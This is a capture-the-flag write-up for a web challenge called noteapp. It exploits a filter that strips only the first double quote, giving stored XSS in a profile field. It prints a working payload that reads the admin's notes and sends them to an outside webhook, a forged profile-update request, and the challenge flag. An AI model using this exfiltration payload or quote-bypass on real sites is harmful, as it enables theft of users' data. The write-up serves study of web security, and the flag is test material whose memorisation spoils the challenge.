noteapp

problem

I made this notekeeper to keep your notes safe. Its not an heap chall 😉

The flag is in the admin's notes.

solution

sourceless web, despite what the rules for making challs say…

image

also, i dont know what a heap chall is.

this was made by 0xM4hm0ud, and i know that 0xM4hm0ud loves pwn more than anything else, so i was scared to see a 150pt chall from him.

anyways, it was a pretty simple XSS chall.

we are presented with a login screen at first

image

we can register too

image

here, i will register as qww a bunch

image

we can see that there are a few things we can do here

image

we know the flag is in the admins notes, but we dont know the admin password

we can use /report to report a site to the admin bot

image

we also know that the token is stored as the connect.sid cookie like so: image

one of the controls that we have in this website is to change our user profile

image

here, we can do an XSS.

the intended solution here was to overflow a wasm buffer to bypass quote filtering and get an XSS, but i dont know how to do that. so, i used two quotes instead of one to bypass the quote filter

this is the source of the filtering, hidden from us:

        const username = req.body.username.replace("\"", "");
        const email = req.body.email.replace("\"", "");

the vulnerability here, which we couldn’t see, was that javascript’s replace function only replaces the first occurence of a string

so, a script like

let thing = `
fetch('/notes').then((r) => {r.text().then((w) => {fetch('https://webhook.site/96d5c0f0-d4be-488e-<rest-of-webhook>?d=' + btoa(w))})})
</script>`;
fetch("http://167.99.0.85/updateprofile", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-US,en;q=0.9,ar;q=0.8",
    "cache-control": "no-cache",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "pragma": "no-cache",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "http://167.99.0.85/profile/<profileid>",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": `username=%22%22%3E%3Cscript%3E${encodeURIComponent(thing)}&email=`,
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

will work. note that the username length restriction is client-side only, so we can spoof a request and bypass the restriction

the payload is as follows: ""><script>${encodeURIComponent(thing)}fetch('/notes').then((r) => {r.text().then((w) => {fetch('https://<malicious-site-url>/?d=' + btoa(w))})})</script>

we put two quotes to bypass the replace, and then escape out of the span tag. then, we enter a new script and place in the rest of our payload

note that the connect.sid is httpOnly true, so we can’t access it from code. however, we can execute code as the admin, which allows us to fetch the admins notes and then send them back to us, without having to log in as the admin

anyways, the flag is ictf{w4sm_0v3rfl0w_t0_xSs_c67e2ec016f0bc0e495655ee70fe2a2d}

i didn’t even see that there was a wasm file…